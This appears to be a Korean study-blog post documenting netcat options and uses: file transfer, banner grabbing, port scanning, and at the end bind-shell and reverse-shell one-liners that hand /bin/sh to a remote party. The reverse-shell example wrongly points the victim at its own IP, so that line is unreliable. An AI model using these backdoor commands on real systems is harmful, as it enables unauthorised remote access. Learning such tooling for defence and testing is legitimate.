Study Record

[리버싱] netcat(nc) CMD 본문

리버싱/기본

[리버싱] netcat(nc) CMD

초코초코초코 2021. 11. 15. 10:29
728x90

nc CMD

- yum -y install nmap-ncat

- client, server 모델이다.

- 인위적인 TCP / UDP 연결이 가능하다.

- 모의해킹 관점 : 백도어(EX: reverse_tcp, bind_tcp)로 사용된다.

- 포렌식 관점   : 파일 전송(EX: OS Image 전송, 지정된 이미지 파일 전송)

 

☞ 옵션

-n : 호스트 네임과 포트를 숫자로만 입력받는다.

-v : 더 많은 정보를 얻을수 있다.

-o [filename]: 보내거나 받은 데이터를 헥스덤프하여 파일에 저장한다.

-u : TCP connection 대신에 UDP connection 이 이루어 진다.

-p [port number or name] : local-port 를 지정한다. 주로 -l 과 같이 사용하게 된다.

-s [ip address or DNS] : local ip address 를 지정한다. 모든 플렛폼에서 지원되지는 않는다.

-l : listen 모드로 nc을 띠우게 된다. 당연히 target host는 입력하지 않는다. -p와 같이 사용하게 된다. ncserver 로서 쓸때 사용.

-e [filename] : -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능하다.

-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능하다. telnetd에 접속이 가능하도록 접속시 telnet과 같은 협상과정을 거친다.

-i [interval time] : nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 Standard input의 한 라인씩 interval time마다 보내게 된다.

-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션.

-w [connection time] : 최대 연결 리슨 시간(-w 1 : 1초가 default)

-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local portrandomize 합니다. 이때 주의 할 것은 -p-roverride 한다는 것입니다.

 

※ 서버와 클라이언트 모델일 경우

(server) nc -l 1234 : 1234포트로 listen 하고 있다.

(client) nc host.example.com 1234 : host.example.com 에 1234 포트로 연결을 시도한다.

 

※ 파일 전송할 경우

(server) nc -l 1234 > filename.out

(client) nc host.example.com 1234 < filename.in

: 클라이언트에서 filename.in 을 전송하면 서버에서 filename.out 로 파일을 받는다.

 

※ 서비스 배너 수집

# echo -e "HEAD / HTTP/1.0\n\n" | nc https.apache.org 80

HTTP/1.1 200 OK
Date: Fri, 22 Aug 2014 07:13:00 GMT
Server: Apache/2.4.10 (Unix) OpenSSL/1.0.1i
Last-Modified: Fri, 22 Aug 2014 07:10:38 GMT
ETag: "9ae4-5013288ca49a2"
Accept-Ranges: bytes
Content-Length: 39652
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Fri, 22 Aug 2014 08:13:00 GMT
Connection: close
Content-Type: text/html; charset=utf-8

 

※ 포트 스캐닝

# nc -n -v -z -w 1 10.0.2.100 1-1023

※ 백도어 쉘 - bind_tcp

(Victim - 공인 IP) nc -e /bin/sh -l -p 1234

(Attack - 사설 IP) nc <Victim's IP> 1234

 

※ 리버스 쉘 - reverse_tcp

(Attack - 공인 IP) nc -v -l -p 1234

(Victim - 사설 IP) nc <Victim's IP> 1234 -e /bin/sh

728x90